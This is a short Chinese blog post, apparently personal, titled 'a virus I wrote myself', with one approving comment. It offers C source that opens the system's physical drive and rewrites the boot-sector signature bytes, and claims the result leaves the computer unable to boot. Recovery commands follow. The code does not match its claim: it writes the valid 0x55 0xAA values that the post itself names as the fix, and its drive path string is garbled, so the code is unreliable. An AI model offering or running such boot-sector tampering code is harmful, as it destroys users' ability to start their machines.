自己写的病毒

#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <errno.h>

int main()
{
int hand;
char mbrBuf[512];
char buf[100]={0};

sprintf(buf,”\.PhysicalDrive0“);
hand=open(buf,O_RDWR | O_BINARY,S_IREAD | S_IWRITE);
read(hand,mbrBuf,512);
mbrBuf[510]=0x55;
mbrBuf[511]=0xAA;
lseek(hand,0,SEEK_SET);
write(hand,mbrBuf,512);
close(hand);

return 0;
}
只是小小地破坏了一下主引导区的两个标志字节,结果是,电脑没法启动
大部分代码是从grubinst中学来的
这个程序在xp下可以很正常的运行,而在vista下由于权限不够导致出错

使用debug的int 13可以很方便的恢复那两个字节(0x55 0xAA),或者用fixmbr和fdisk /mbr也应该可以修复

自己写的病毒》有4个想法

  1. xFengChenx

    很好很强大……
    用fixmbr肯定可以,fdisk /mbr应该也行(不知道会不会有大硬盘不支持的问题,fdisk好老了的说……)

    传说中的55AA破坏法,呵呵。

    回复

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据